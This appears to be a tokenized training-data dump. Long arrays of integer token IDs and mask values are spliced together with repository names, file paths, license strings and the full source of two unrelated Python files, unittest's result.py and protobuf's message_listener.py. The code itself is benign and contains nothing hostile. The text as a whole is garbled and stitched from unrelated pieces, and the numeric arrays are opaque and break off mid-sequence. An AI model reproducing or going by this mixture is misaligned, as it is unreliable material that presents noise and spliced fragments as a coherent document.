1663, 2334, 4815, 1549, 13873, 30340, 1634, 5749, 4141, 14, 199, 199, 2344, 199, 646, 28855, 199, 646, 2882, 199, 646, 747, 199, 646, 5549, 199, 646, 510, 4921, 1746, 199, 199, 3, 314, 2240, 6230, 8, 17, 9, 1443, 2929, 7167, 36, 60, 88, 2036, 60, 88, 2036, 1380, 971, 88, 966, 334, 13178, 12, 445, 7245, 13, 36, 9, 365, 4847, 199, 63, 11206, 63, 13178, 275, 330, 4289, 36, 60, 88, 2036, 60, 88, 2036, 7, 199, 199, 533, 7640, 2445, 8, 48, 4921, 1746, 14, 48, 4921, 1746, 304, 339, 347, 511, 63, 793, 334, 277, 304, 267, 943, 63, 1188, 275, 283, 2765, 365, 282, 511, 3530, 267, 1788, 275, 5549, 14, 22136, 342, 267, 3002, 793, 275, 1551, 8, 1501, 12, 283, 6603, 358, 267, 299, 275, 28855, 14, 10212, 360, 7878, 297, 359, 793, 63, 1188, 566, 267, 299, 14, 12804, 275, 3002, 793, 267, 299, 14, 4921, 8, 16531, 1764, 14, 13178, 9, 267, 299, 14, 12804, 275, 488, 267, 3002, 793, 14, 1600, 342, 267, 543, 1551, 8, 1501, 12, 283, 4848, 358, 465, 289, 26, 288, 14642, 275, 289, 14, 739, 342, 267, 747, 14, 7162, 8, 1501, 9, 267, 291, 14, 629, 8, 276, 14, 6735, 1062, 943, 63, 1188, 14, 2143, 360, 4371, 1333, 339, 347, 511, 63, 793, 63, 12804, 63, 739, 334, 277, 304, 267, 943, 63, 1188, 275, 283, 2765, 365, 282, 511, 3530, 267, 1788, 275, 5549, 14, 22136, 342, 267, 3002, 793, 275, 1551, 8, 1501, 12, 283, 6603, 358, 267, 299, 275, 28855, 14, 10212, 360, 3385, 358, 267, 299, 14, 12804, 63, 739, 275, 3002, 793, 267, 299, 14, 29857, 8, 793, 63, 1188, 9, 267, 299, 14, 2464, 271, 1618, 342, 267, 299, 14, 4921, 8, 16531, 1764, 14, 13178, 9, 267, 299, 14, 12804, 275, 488, 267, 3002, 793, 14, 1600, 342, 267, 543, 1551, 8, 1501, 12, 283, 4848, 358, 465, 289, 26, 288, 14642, 275, 289, 14, 739, 342, 267, 747, 14, 7162, 334, 1501, 9, 267, 14642, 275, 14642, 14, 1814, 1547, 11206, 63, 13178, 12, 330, 17483, 267, 291, 14, 629, 8, 276, 12, 330, 7, 2765, 365, 282, 511, 3134, 82, 60, 78, 2765, 365, 282, 511, 3134, 82, 60, 78, 358, 339, 347, 511, 63, 793, 63, 12804, 63, 2254, 334, 277, 304, 267, 943, 63, 1188, 275, 330, 7, 2765, 365, 282, 511, 3530, 267, 1788, 275, 5549, 14, 22136, 342, 267, 3002, 793, 275, 1551, 334, 1501, 12, 283, 6603, 358, 267, 299, 275, 28855, 14, 10212, 360, 3385, 358, 267, 299, 14, 12804, 63, 2254, 275, 3002, 793, 267, 299, 14, 29857, 8, 793, 63, 1188, 9, 267, 299, 14, 2464, 271, 1618, 342, 267, 299, 14, 4921, 334, 16531, 1764, 14, 13178, 9, 267, 299, 14, 12804, 275, 488, 267, 3002, 793, 14, 1600, 342, 267, 543, 1551, 8, 1501, 12, 283, 4848, 358, 465, 289, 26, 288, 14642, 275, 289, 14, 739, 342, 267, 747, 14, 7162, 8, 1501, 9, 267, 14642, 275, 14642, 14, 1814, 8, 66, 1154, 88, 966, 297, 330, 17483, 267, 291, 14, 629, 8, 276, 14, 6735, 1062, 943, 63, 1188, 9, 339, 347, 511, 63, 793, 63, 2254, 63, 460, 63, 9226, 334, 277, 304, 398, 1449, 1918, 17251, 1077, 1172, 314, 511, 1245, 7795, 900, 1553, 5403, 367, 314, 267, 666, 781, 4847, 14, 19468, 367, 314, 666, 626, 6230, 325, 335, 736, 1771, 465, 4110, 787, 267, 20041, 14, 6061, 5403, 367, 314, 666, 626, 6230, 14767, 2410, 781, 3222, 282, 1004, 3871, 267, 334, 1150, 701, 3222, 604, 680, 1449, 398, 943, 63, 1188, 275, 283, 2765, 365, 282, 511, 3530, 267, 1788, 275, 5549, 14, 22136, 342, 267, 3002, 793, 275, 1551, 8, 1501, 12, 283, 6603, 358, 267, 299, 275, 28855, 14, 10212, 360, 3385, 358, 267, 299, 14, 12804, 275, 3002, 793, 267, 299, 14, 29857, 8, 793, 63, 1188, 9, 267, 299, 14, 2464, 271, 1618, 342, 267, 299, 14, 4921, 334, 16531, 1764, 14, 13178, 9, 267, 299, 14, 12804, 275, 488, 267, 3002, 793, 14, 1600, 342, 267, 543, 1551, 8, 1501, 12, 283, 4848, 358, 465, 289, 26, 288, 14642, 275, 289, 14, 739, 342, 267, 747, 14, 7162, 8, 1501, 9, 267, 14642, 275, 14642, 14, 1814, 8, 66, 1154, 88, 966, 297, 330, 7, 1959, 1814, 1547, 11206, 63, 13178, 12, 330, 17483, 267, 291, 14, 629, 8, 276, 12, 355, 330, 7, 2765, 365, 282, 511, 3134, 78, 2765, 365, 282, 511, 3134, 82, 60, 78, 2765, 365, 282, 511, 3134, 82, 60, 78, 358, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2882, 14, 973, 342, 199, 199, 5768, 275, 2882, 14, 18275, 8, 1746, 2445, 2584, 396, 358, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
bruderstein/PythonScript
PythonLib/full/unittest/result.py
13
7443
"""Test result object""" import io import sys import traceback from . import util from functools import wraps __unittest = True def failfast(method): @wraps(method) def inner(self, *args, **kw): if getattr(self, 'failfast', False): self.stop() return method(self, *args, **kw) return inner STDOUT_LINE = '\nStdout:\n%s' STDERR_LINE = '\nStderr:\n%s' class TestResult(object): """Holder for test result information. Test results are automatically managed by the TestCase and TestSuite classes, and do not need to be explicitly manipulated by writers of tests. Each instance holds the total number of tests run, and collections of failures and errors that occurred among those test runs. The collections contain tuples of (testcase, exceptioninfo), where exceptioninfo is the formatted traceback of the error that occurred. """ _previousTestClass = None _testRunEntered = False _moduleSetUpFailed = False def __init__(self, stream=None, descriptions=None, verbosity=None): self.failfast = False self.failures = [] self.errors = [] self.testsRun = 0 self.skipped = [] self.expectedFailures = [] self.unexpectedSuccesses = [] self.shouldStop = False self.buffer = False self.tb_locals = False self._stdout_buffer = None self._stderr_buffer = None self._original_stdout = sys.stdout self._original_stderr = sys.stderr self._mirrorOutput = False def printErrors(self): "Called by TestRunner after test run" def startTest(self, test): "Called when the given test is about to be run" self.testsRun += 1 self._mirrorOutput = False self._setupStdout() def _setupStdout(self): if self.buffer: if self._stderr_buffer is None: self._stderr_buffer = io.StringIO() self._stdout_buffer = io.StringIO() sys.stdout = self._stdout_buffer sys.stderr = self._stderr_buffer def startTestRun(self): """Called once before any tests are executed. See startTest for a method called before each test. """ def stopTest(self, test): """Called when the given test has been run""" self._restoreStdout() self._mirrorOutput = False def _restoreStdout(self): if self.buffer: if self._mirrorOutput: output = sys.stdout.getvalue() error = sys.stderr.getvalue() if output: if not output.endswith('\n'): output += '\n' self._original_stdout.write(STDOUT_LINE % output) if error: if not error.endswith('\n'): error += '\n' self._original_stderr.write(STDERR_LINE % error) sys.stdout = self._original_stdout sys.stderr = self._original_stderr self._stdout_buffer.seek(0) self._stdout_buffer.truncate() self._stderr_buffer.seek(0) self._stderr_buffer.truncate() def stopTestRun(self): """Called once after all tests are executed. See stopTest for a method called after each test. """ @failfast def addError(self, test, err): """Called when an error has occurred. 'err' is a tuple of values as returned by sys.exc_info(). """ self.errors.append((test, self._exc_info_to_string(err, test))) self._mirrorOutput = True @failfast def addFailure(self, test, err): """Called when an error has occurred. 'err' is a tuple of values as returned by sys.exc_info().""" self.failures.append((test, self._exc_info_to_string(err, test))) self._mirrorOutput = True def addSubTest(self, test, subtest, err): """Called at the end of a subtest. 'err' is None if the subtest ended successfully, otherwise it's a tuple of values as returned by sys.exc_info(). """ # By default, we don't do anything with successful subtests, but # more sophisticated test results might want to record them. if err is not None: if getattr(self, 'failfast', False): self.stop() if issubclass(err[0], test.failureException): errors = self.failures else: errors = self.errors errors.append((subtest, self._exc_info_to_string(err, test))) self._mirrorOutput = True def addSuccess(self, test): "Called when a test has completed successfully" pass def addSkip(self, test, reason): """Called when a test is skipped.""" self.skipped.append((test, reason)) def addExpectedFailure(self, test, err): """Called when an expected failure/error occurred.""" self.expectedFailures.append( (test, self._exc_info_to_string(err, test))) @failfast def addUnexpectedSuccess(self, test): """Called when a test was expected to fail, but succeed.""" self.unexpectedSuccesses.append(test) def wasSuccessful(self): """Tells whether or not this result was a success.""" # The hasattr check is for test_result's OldResult test. That # way this method works on objects that lack the attribute. # (where would such result instances come from? old stored pickles?) return ((len(self.failures) == len(self.errors) == 0) and (not hasattr(self, 'unexpectedSuccesses') or len(self.unexpectedSuccesses) == 0)) def stop(self): """Indicates that the tests should be aborted.""" self.shouldStop = True def _exc_info_to_string(self, err, test): """Converts a sys.exc_info()-style tuple of values into a string.""" exctype, value, tb = err # Skip test runner traceback levels while tb and self._is_relevant_tb_level(tb): tb = tb.tb_next if exctype is test.failureException: # Skip assert*() traceback levels length = self._count_relevant_tb_levels(tb) else: length = None tb_e = traceback.TracebackException( exctype, value, tb, limit=length, capture_locals=self.tb_locals) msgLines = list(tb_e.format()) if self.buffer: output = sys.stdout.getvalue() error = sys.stderr.getvalue() if output: if not output.endswith('\n'): output += '\n' msgLines.append(STDOUT_LINE % output) if error: if not error.endswith('\n'): error += '\n' msgLines.append(STDERR_LINE % error) return ''.join(msgLines) def _is_relevant_tb_level(self, tb): return '__unittest' in tb.tb_frame.f_globals def _count_relevant_tb_levels(self, tb): length = 0 while tb and not self._is_relevant_tb_level(tb): length += 1 tb = tb.tb_next return length def __repr__(self): return ("<%s run=%i errors=%i failures=%i>" % (util.strclass(self.__class__), self.testsRun, len(self.errors), len(self.failures)))
gpl-2.0
[ 624, 774, 754, 909, 624, 199, 199, 646, 5890, 199, 646, 984, 199, 646, 5190, 199, 199, 504, 1275, 492, 4884, 199, 504, 9143, 492, 14018, 199, 199, 363, 2796, 275, 715, 199, 199, 318, 1433, 20803, 8, 765, 304, 272, 768, 13582, 8, 765, 9, 272, 347, 6506, 8, 277, 12, 627, 589, 12, 1011, 829, 304, 267, 340, 2519, 8, 277, 12, 283, 25829, 297, 756, 304, 288, 291, 14, 2379, 342, 267, 372, 1083, 8, 277, 12, 627, 589, 12, 1011, 829, 9, 272, 372, 6506, 199, 199, 13850, 63, 6174, 275, 1557, 78, 26080, 3427, 78, 5, 83, 7, 199, 18472, 2666, 63, 6174, 275, 1557, 78, 933, 2303, 3427, 78, 5, 83, 7, 421, 199, 533, 23795, 8, 785, 304, 272, 408, 22570, 367, 511, 754, 2556, 14, 339, 1379, 2058, 787, 5847, 12883, 701, 314, 7640, 436, 20979, 272, 3992, 12, 436, 886, 440, 1929, 370, 506, 7662, 13335, 8097, 701, 2211, 878, 402, 2295, 14, 339, 7048, 1256, 15164, 314, 3141, 1329, 402, 2295, 1255, 12, 436, 5055, 402, 272, 9081, 436, 2552, 626, 8920, 16885, 5204, 511, 7858, 14, 710, 5055, 272, 1395, 6346, 402, 334, 10847, 12, 1919, 815, 395, 2382, 1919, 815, 365, 314, 272, 7871, 5190, 402, 314, 1125, 626, 8920, 14, 272, 408, 272, 485, 6352, 22009, 275, 488, 272, 485, 396, 2540, 1327, 3014, 275, 756, 272, 485, 578, 19845, 4276, 275, 756, 272, 347, 636, 826, 721, 277, 12, 2547, 29, 403, 12, 18714, 29, 403, 12, 8661, 29, 403, 304, 267, 291, 14, 25829, 275, 756, 267, 291, 14, 9968, 275, 942, 267, 291, 14, 2550, 275, 942, 267, 291, 14, 30680, 275, 378, 267, 291, 14, 11962, 275, 942, 267, 291, 14, 2062, 29415, 275, 942, 267, 291, 14, 8953, 51, 947, 5804, 275, 942, 267, 291, 14, 5626, 6293, 275, 756, 267, 291, 14, 2738, 275, 756, 267, 291, 14, 5842, 63, 9350, 275, 756, 267, 291, 423, 2703, 63, 2738, 275, 488, 267, 291, 423, 3083, 63, 2738, 275, 488, 267, 291, 423, 5043, 63, 2703, 275, 984, 14, 2703, 267, 291, 423, 5043, 63, 3083, 275, 984, 14, 3083, 267, 291, 423, 12324, 2959, 275, 756, 339, 347, 870, 9298, 8, 277, 304, 267, 298, 10474, 701, 1379, 7446, 2410, 511, 1255, 2, 339, 347, 1343, 774, 8, 277, 12, 511, 304, 267, 298, 10474, 1380, 314, 1627, 511, 365, 3595, 370, 506, 1255, 2, 267, 291, 14, 30680, 847, 413, 267, 291, 423, 12324, 2959, 275, 756, 267, 291, 423, 2758, 26080, 342, 339, 347, 485, 2758, 26080, 8, 277, 304, 267, 340, 291, 14, 2738, 26, 288, 340, 291, 423, 3083, 63, 2738, 365, 488, 26, 355, 291, 423, 3083, 63, 2738, 275, 5890, 14, 6424, 342, 355, 291, 423, 2703, 63, 2738, 275, 5890, 14, 6424, 342, 288, 984, 14, 2703, 275, 291, 423, 2703, 63, 2738, 288, 984, 14, 3083, 275, 291, 423, 3083, 63, 2738, 339, 347, 1343, 21228, 8, 277, 304, 267, 408, 10474, 5403, 2544, 1263, 2295, 787, 7934, 14, 398, 1666, 1343, 774, 367, 282, 1083, 2797, 2544, 1924, 511, 14, 267, 408, 339, 347, 3631, 774, 8, 277, 12, 511, 304, 267, 408, 10474, 1380, 314, 1627, 511, 965, 2757, 1255, 624, 267, 291, 423, 8011, 26080, 342, 267, 291, 423, 12324, 2959, 275, 756, 339, 347, 485, 8011, 26080, 8, 277, 304, 267, 340, 291, 14, 2738, 26, 288, 340, 291, 423, 12324, 2959, 26, 355, 1072, 275, 984, 14, 2703, 14, 7150, 342, 355, 1125, 275, 984, 14, 3083, 14, 7150, 342, 355, 340, 1072, 26, 490, 340, 440, 1072, 14, 4130, 2258, 78, 735, 717, 1072, 847, 1557, 78, 7, 490, 291, 423, 5043, 63, 2703, 14, 952, 8, 13850, 63, 6174, 450, 1072, 9, 355, 340, 1125, 26, 490, 340, 440, 1125, 14, 4130, 2258, 78, 735, 717, 1125, 847, 1557, 78, 7, 490, 291, 423, 5043, 63, 3083, 14, 952, 8, 18472, 2666, 63, 6174, 450, 1125, 9, 953, 984, 14, 2703, 275, 291, 423, 5043, 63, 2703, 288, 984, 14, 3083, 275, 291, 423, 5043, 63, 3083, 288, 291, 423, 2703, 63, 2738, 14, 5507, 8, 16, 9, 288, 291, 423, 2703, 63, 2738, 14, 12517, 342, 288, 291, 423, 3083, 63, 2738, 14, 5507, 8, 16, 9, 288, 291, 423, 3083, 63, 2738, 14, 12517, 342, 339, 347, 3631, 21228, 8, 277, 304, 267, 408, 10474, 5403, 2410, 1006, 2295, 787, 7934, 14, 398, 1666, 3631, 774, 367, 282, 1083, 2797, 2410, 1924, 511, 14, 267, 408, 339, 768, 25829, 272, 347, 1050, 547, 8, 277, 12, 511, 12, 2329, 304, 267, 408, 10474, 1380, 376, 1125, 965, 8920, 14, 283, 1508, 7, 365, 282, 2008, 402, 1338, 465, 267, 2138, 701, 984, 14, 2804, 63, 815, 1252, 267, 408, 267, 291, 14, 2550, 14, 740, 1332, 396, 12, 291, 423, 2804, 63, 815, 63, 475, 63, 875, 8, 1508, 12, 511, 1724, 267, 291, 423, 12324, 2959, 275, 715, 339, 768, 25829, 272, 347, 1050, 6782, 8, 277, 12, 511, 12, 2329, 304, 267, 408, 10474, 1380, 376, 1125, 965, 8920, 14, 283, 1508, 7, 365, 282, 2008, 402, 1338, 465, 267, 2138, 701, 984, 14, 2804, 63, 815, 20693, 267, 291, 14, 9968, 14, 740, 1332, 396, 12, 291, 423, 2804, 63, 815, 63, 475, 63, 875, 8, 1508, 12, 511, 1724, 267, 291, 423, 12324, 2959, 275, 715, 339, 347, 1050, 2610, 774, 8, 277, 12, 511, 12, 1007, 396, 12, 2329, 304, 267, 408, 10474, 737, 314, 1284, 402, 282, 1007, 396, 14, 267, 283, 1508, 7, 365, 488, 340, 314, 1007, 396, 22480, 8792, 12, 4257, 652, 1159, 282, 267, 2008, 402, 1338, 465, 2138, 701, 984, 14, 2804, 63, 815, 1252, 267, 408, 267, 327, 4885, 849, 12, 781, 2793, 1133, 886, 7003, 543, 9512, 1007, 2219, 12, 1325, 267, 327, 1655, 308, 24316, 6937, 972, 511, 2058, 5594, 2934, 370, 2777, 3062, 14, 267, 340, 2329, 365, 440, 488, 26, 288, 340, 2519, 8, 277, 12, 283, 25829, 297, 756, 304, 355, 291, 14, 2379, 342, 288, 340, 11602, 8, 1508, 59, 16, 467, 511, 14, 15935, 304, 355, 2552, 275, 291 ]
[ 774, 754, 909, 624, 199, 199, 646, 5890, 199, 646, 984, 199, 646, 5190, 199, 199, 504, 1275, 492, 4884, 199, 504, 9143, 492, 14018, 199, 199, 363, 2796, 275, 715, 199, 199, 318, 1433, 20803, 8, 765, 304, 272, 768, 13582, 8, 765, 9, 272, 347, 6506, 8, 277, 12, 627, 589, 12, 1011, 829, 304, 267, 340, 2519, 8, 277, 12, 283, 25829, 297, 756, 304, 288, 291, 14, 2379, 342, 267, 372, 1083, 8, 277, 12, 627, 589, 12, 1011, 829, 9, 272, 372, 6506, 199, 199, 13850, 63, 6174, 275, 1557, 78, 26080, 3427, 78, 5, 83, 7, 199, 18472, 2666, 63, 6174, 275, 1557, 78, 933, 2303, 3427, 78, 5, 83, 7, 421, 199, 533, 23795, 8, 785, 304, 272, 408, 22570, 367, 511, 754, 2556, 14, 339, 1379, 2058, 787, 5847, 12883, 701, 314, 7640, 436, 20979, 272, 3992, 12, 436, 886, 440, 1929, 370, 506, 7662, 13335, 8097, 701, 2211, 878, 402, 2295, 14, 339, 7048, 1256, 15164, 314, 3141, 1329, 402, 2295, 1255, 12, 436, 5055, 402, 272, 9081, 436, 2552, 626, 8920, 16885, 5204, 511, 7858, 14, 710, 5055, 272, 1395, 6346, 402, 334, 10847, 12, 1919, 815, 395, 2382, 1919, 815, 365, 314, 272, 7871, 5190, 402, 314, 1125, 626, 8920, 14, 272, 408, 272, 485, 6352, 22009, 275, 488, 272, 485, 396, 2540, 1327, 3014, 275, 756, 272, 485, 578, 19845, 4276, 275, 756, 272, 347, 636, 826, 721, 277, 12, 2547, 29, 403, 12, 18714, 29, 403, 12, 8661, 29, 403, 304, 267, 291, 14, 25829, 275, 756, 267, 291, 14, 9968, 275, 942, 267, 291, 14, 2550, 275, 942, 267, 291, 14, 30680, 275, 378, 267, 291, 14, 11962, 275, 942, 267, 291, 14, 2062, 29415, 275, 942, 267, 291, 14, 8953, 51, 947, 5804, 275, 942, 267, 291, 14, 5626, 6293, 275, 756, 267, 291, 14, 2738, 275, 756, 267, 291, 14, 5842, 63, 9350, 275, 756, 267, 291, 423, 2703, 63, 2738, 275, 488, 267, 291, 423, 3083, 63, 2738, 275, 488, 267, 291, 423, 5043, 63, 2703, 275, 984, 14, 2703, 267, 291, 423, 5043, 63, 3083, 275, 984, 14, 3083, 267, 291, 423, 12324, 2959, 275, 756, 339, 347, 870, 9298, 8, 277, 304, 267, 298, 10474, 701, 1379, 7446, 2410, 511, 1255, 2, 339, 347, 1343, 774, 8, 277, 12, 511, 304, 267, 298, 10474, 1380, 314, 1627, 511, 365, 3595, 370, 506, 1255, 2, 267, 291, 14, 30680, 847, 413, 267, 291, 423, 12324, 2959, 275, 756, 267, 291, 423, 2758, 26080, 342, 339, 347, 485, 2758, 26080, 8, 277, 304, 267, 340, 291, 14, 2738, 26, 288, 340, 291, 423, 3083, 63, 2738, 365, 488, 26, 355, 291, 423, 3083, 63, 2738, 275, 5890, 14, 6424, 342, 355, 291, 423, 2703, 63, 2738, 275, 5890, 14, 6424, 342, 288, 984, 14, 2703, 275, 291, 423, 2703, 63, 2738, 288, 984, 14, 3083, 275, 291, 423, 3083, 63, 2738, 339, 347, 1343, 21228, 8, 277, 304, 267, 408, 10474, 5403, 2544, 1263, 2295, 787, 7934, 14, 398, 1666, 1343, 774, 367, 282, 1083, 2797, 2544, 1924, 511, 14, 267, 408, 339, 347, 3631, 774, 8, 277, 12, 511, 304, 267, 408, 10474, 1380, 314, 1627, 511, 965, 2757, 1255, 624, 267, 291, 423, 8011, 26080, 342, 267, 291, 423, 12324, 2959, 275, 756, 339, 347, 485, 8011, 26080, 8, 277, 304, 267, 340, 291, 14, 2738, 26, 288, 340, 291, 423, 12324, 2959, 26, 355, 1072, 275, 984, 14, 2703, 14, 7150, 342, 355, 1125, 275, 984, 14, 3083, 14, 7150, 342, 355, 340, 1072, 26, 490, 340, 440, 1072, 14, 4130, 2258, 78, 735, 717, 1072, 847, 1557, 78, 7, 490, 291, 423, 5043, 63, 2703, 14, 952, 8, 13850, 63, 6174, 450, 1072, 9, 355, 340, 1125, 26, 490, 340, 440, 1125, 14, 4130, 2258, 78, 735, 717, 1125, 847, 1557, 78, 7, 490, 291, 423, 5043, 63, 3083, 14, 952, 8, 18472, 2666, 63, 6174, 450, 1125, 9, 953, 984, 14, 2703, 275, 291, 423, 5043, 63, 2703, 288, 984, 14, 3083, 275, 291, 423, 5043, 63, 3083, 288, 291, 423, 2703, 63, 2738, 14, 5507, 8, 16, 9, 288, 291, 423, 2703, 63, 2738, 14, 12517, 342, 288, 291, 423, 3083, 63, 2738, 14, 5507, 8, 16, 9, 288, 291, 423, 3083, 63, 2738, 14, 12517, 342, 339, 347, 3631, 21228, 8, 277, 304, 267, 408, 10474, 5403, 2410, 1006, 2295, 787, 7934, 14, 398, 1666, 3631, 774, 367, 282, 1083, 2797, 2410, 1924, 511, 14, 267, 408, 339, 768, 25829, 272, 347, 1050, 547, 8, 277, 12, 511, 12, 2329, 304, 267, 408, 10474, 1380, 376, 1125, 965, 8920, 14, 283, 1508, 7, 365, 282, 2008, 402, 1338, 465, 267, 2138, 701, 984, 14, 2804, 63, 815, 1252, 267, 408, 267, 291, 14, 2550, 14, 740, 1332, 396, 12, 291, 423, 2804, 63, 815, 63, 475, 63, 875, 8, 1508, 12, 511, 1724, 267, 291, 423, 12324, 2959, 275, 715, 339, 768, 25829, 272, 347, 1050, 6782, 8, 277, 12, 511, 12, 2329, 304, 267, 408, 10474, 1380, 376, 1125, 965, 8920, 14, 283, 1508, 7, 365, 282, 2008, 402, 1338, 465, 267, 2138, 701, 984, 14, 2804, 63, 815, 20693, 267, 291, 14, 9968, 14, 740, 1332, 396, 12, 291, 423, 2804, 63, 815, 63, 475, 63, 875, 8, 1508, 12, 511, 1724, 267, 291, 423, 12324, 2959, 275, 715, 339, 347, 1050, 2610, 774, 8, 277, 12, 511, 12, 1007, 396, 12, 2329, 304, 267, 408, 10474, 737, 314, 1284, 402, 282, 1007, 396, 14, 267, 283, 1508, 7, 365, 488, 340, 314, 1007, 396, 22480, 8792, 12, 4257, 652, 1159, 282, 267, 2008, 402, 1338, 465, 2138, 701, 984, 14, 2804, 63, 815, 1252, 267, 408, 267, 327, 4885, 849, 12, 781, 2793, 1133, 886, 7003, 543, 9512, 1007, 2219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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
sxhao/phantomjs
src/breakpad/src/third_party/protobuf/protobuf/python/google/protobuf/internal/message_listener.py
590
3354
# Protocol Buffers - Google's data interchange format # Copyright 2008 Google Inc. All rights reserved. # http://code.google.com/p/protobuf/ # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """Defines a listener interface for observing certain state transitions on Message objects. Also defines a null implementation of this interface. """ __author__ = 'robinson@google.com (Will Robinson)' class MessageListener(object): """Listens for modifications made to a message. Meant to be registered via Message._SetListener(). Attributes: dirty: If True, then calling Modified() would be a no-op. This can be used to avoid these calls entirely in the common case. """ def Modified(self): """Called every time the message is modified in such a way that the parent message may need to be updated. This currently means either: (a) The message was modified for the first time, so the parent message should henceforth mark the message as present. (b) The message's cached byte size became dirty -- i.e. the message was modified for the first time after a previous call to ByteSize(). Therefore the parent should also mark its byte size as dirty. Note that (a) implies (b), since new objects start out with a client cached size (zero). However, we document (a) explicitly because it is important. Modified() will *only* be called in response to one of these two events -- not every time the sub-message is modified. Note that if the listener's |dirty| attribute is true, then calling Modified at the moment would be a no-op, so it can be skipped. Performance- sensitive callers should check this attribute directly before calling since it will be true most of the time. """ raise NotImplementedError class NullMessageListener(object): """No-op MessageListener implementation.""" def Modified(self): pass
bsd-3-clause
[ 3, 11557, 699, 3043, 1192, 446, 4475, 1159, 666, 1640, 1461, 1475, 199, 3, 1898, 9079, 4475, 3277, 14, 221, 2900, 4481, 4644, 14, 199, 3, 1455, 921, 600, 14, 3098, 14, 957, 15, 80, 15, 7204, 15, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 